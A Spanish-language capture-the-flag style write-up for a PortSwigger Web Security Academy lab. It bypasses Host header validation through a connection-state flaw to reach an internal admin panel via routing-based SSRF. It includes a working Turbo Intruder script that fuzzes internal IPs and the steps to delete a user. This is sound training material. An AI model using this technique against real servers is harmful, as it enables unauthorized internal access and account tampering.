Entrada

Host validation bypass via connection state attack

Laboratorio de Portswigger sobre HTTP Host Header Attacks

Host validation bypass via connection state attack

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio es vulnerable a Routing-based SSRF a través de la cabecera Host. Aunque el servidor front-end puede parecer que valida correctamente esta cabecera al principio, en realidad asume que todas las solicitudes dentro de la misma conexión son iguales a la primera que recibe. Podemos aprovechar este fallo para acceder a un panel de administración interno inseguro ubicado en una dirección IP interna. Para resolver el laboratorio, tenemos que acceder al panel de administración interno ubicado en el rango 192.168.0.0/24 y luego eliminar al usuario carlos


Resolución

Al acceder a la web vemos esto

He capturado la petición a la raíz de la web y he lanzado la herramienta HTTP Request Smuggler https://github.com/PortSwigger/http-request-smuggler.git porque he visto que la web usa HTTP 1.1. He ido lanzando ataque por ataque y cuando he lanzado Connection-state me ha reportado algo interesante, esto lo podemos ver accediendo a Target > Site map > Issues

Enviamos la Request 1 y la Request 2 al Repeater para testear su comportamiento. Esta es la primera petición

Esta es la segunda petición

Ahora vamos a crear un grupo con estas dos peticiones y las vamos a enviar mediante una misma conexión. La primera petición nos devuelve la misma respuesta que si la enviásemos de forma individual

Sin embargo, la segunda respuesta cambia al enviarse en una misma conexión

El error de la segunda petición se produce porque el dominio no existe. Para verificar que esta es la causa, he usado un dominio de Burpsuite Collaborator. Lo que al parecer ha pasado aquí es que el servidor analiza la cabecera Host, comprueba si su valor es un dominio confiable o whitelisteado y si no es así, hace un redirect al dominio principal. Sin embargo, el servidor asume que solo se va a enviar una petición por conexión, y por lo tanto, solo está verificando que el valor de la cabecera Host que emite la primera petición pertenece al dominio whitelisteado

Una vez hemos conseguido bypassear esto, usamos la extensión Host Header Inchecktion https://github.com/portswigger/host-header-inchecktion para enumerar vulnerabilidades de la cabecera Host. Para hacerlo debemos pulsar click derecho > Host Header Inchecktion > Collaborator payload

Una vez haya terminado, si nos vamos a Target > Site map > Issues veremos que nos ha detectado un posible SSRF

Una vez hemos confirmado que existe un SSRF, vamos a enumerar direcciones IP internas. Para hacer esto, necesitamos generarlas primero, y para ello vamos a usar la herramienta ipRangeGenerator https://github.com/Justice-Reaper/ipRangeGenerator.git. El enunciado nos dice que el CIDR es 192.168.0.0/24

1
2
3
4
5
python ipRangeGenerator.py -cidr "192.168.0.0/24" -o ips.txt
[+] Generating IPs for network 192.168.0.0/24
[+] Output file: ips.txt
[+] Generating IPs: Completed! 254 IPs generated in ips.txt
[+] Progress: 100%

Una vez tengamos esto, instalamos la extensión Turbo Intruder https://github.com/PortSwigger/turbo-intruder.git. Lo siguiente que debemos hacer es pulsar en Turbo Intruder > run script, pegar este script y cambiar el Host. Lo que estamos haciendo es lo mismo que hacemos desde el Repeater pero fuzzeando los valores de la cabecera Host en la segunda petición. Una vez hayamos hecho todo esto pulsamos en Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=2,
        pipeline=False
    )

    for word in open('/home/justice-reaper/Downloads/ipRangeGenerator/ips.txt'):
        word = word.strip()

        engine.queue(
            'GET / HTTP/1.1\r\n'
            'Host: 0aed003f0440fb49815861e300930082.h1-web-security-academy.net\r\n'
            'Cookie: session=iV9RfUkVKONmMTIaZ4Ui6L1dncJoqHEP; _lab=46%7cMCwCFH2mROuaojBbhabYAVXvrKIlZFFcAhQ9SFHQky6dOm0%2bz35hKxRkIvZh8qxAz1FVjJQf07BszODp1xpaQDHK5C%2fewE%2fBTAeT7lVle1FoXk105D%2busq1%2bo8dLKkWX%2bw1bp3VB11OFCYLEZOI%2bbpjVHIDeXR3ek8al2BlQ%2bMJcDvCnhDs%3d\r\n'
            'Sec-Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"\r\n'
            'Sec-Ch-Ua-Mobile: ?0\r\n'
            'Sec-Ch-Ua-Platform: "Linux"\r\n'
            'Upgrade-Insecure-Requests: 1\r\n'
            'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n'
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n'
            'Sec-Fetch-Site: none\r\n'
            'Sec-Fetch-Mode: navigate\r\n'
            'Sec-Fetch-User: ?1\r\n'
            'Sec-Fetch-Dest: document\r\n'
            'Accept-Encoding: gzip, deflate, br\r\n'
            'Accept-Language: es-ES,es;q=0.9\r\n'
            'Priority: u=0, i\r\n'
            'Connection: keep-alive\r\n\r\n'
        )

        engine.queue(
            'GET / HTTP/1.1\r\n'
            'Host: ' + word + '\r\n'
            'Cookie: session=iV9RfUkVKONmMTIaZ4Ui6L1dncJoqHEP; _lab=46%7cMCwCFH2mROuaojBbhabYAVXvrKIlZFFcAhQ9SFHQky6dOm0%2bz35hKxRkIvZh8qxAz1FVjJQf07BszODp1xpaQDHK5C%2fewE%2fBTAeT7lVle1FoXk105D%2busq1%2bo8dLKkWX%2bw1bp3VB11OFCYLEZOI%2bbpjVHIDeXR3ek8al2BlQ%2bMJcDvCnhDs%3d\r\n'
            'Sec-Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"\r\n'
            'Sec-Ch-Ua-Mobile: ?0\r\n'
            'Sec-Ch-Ua-Platform: "Linux"\r\n'
            'Upgrade-Insecure-Requests: 1\r\n'
            'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n'
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n'
            'Sec-Fetch-Site: none\r\n'
            'Sec-Fetch-Mode: navigate\r\n'
            'Sec-Fetch-User: ?1\r\n'
            'Sec-Fetch-Dest: document\r\n'
            'Accept-Encoding: gzip, deflate, br\r\n'
            'Accept-Language: es-ES,es;q=0.9\r\n'
            'Priority: u=0, i\r\n'
            'Connection: keep-alive\r\n\r\n'
        )

def handleResponse(req, interesting):
    table.add(req)

Si filtramos por la columna status podemos ver que si la IP existe nos hace un redirect a /admin. En este caso la IP es 192.168.0.1

Una vez sabemos esto, vamos al Repeater y en la segunda petición, cambiamos el valor de la cabecera Host por 192.168.0.1 y realizamos la petición a /admin

Para ver la respuesta en el navegador, hacemos click derecho > Open response in browser. Ponemos como usuario carlos, pulsamos sobre el botón Delete user, capturamos la petición con Burpsuite, la metemos como segunda petición del grupo que tenemos creado en el Repeater y cambiamos el valor de la cabecera Host por 192.168.0.1. Cuando enviemos la petición ya habremos borrado al usuario carlos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.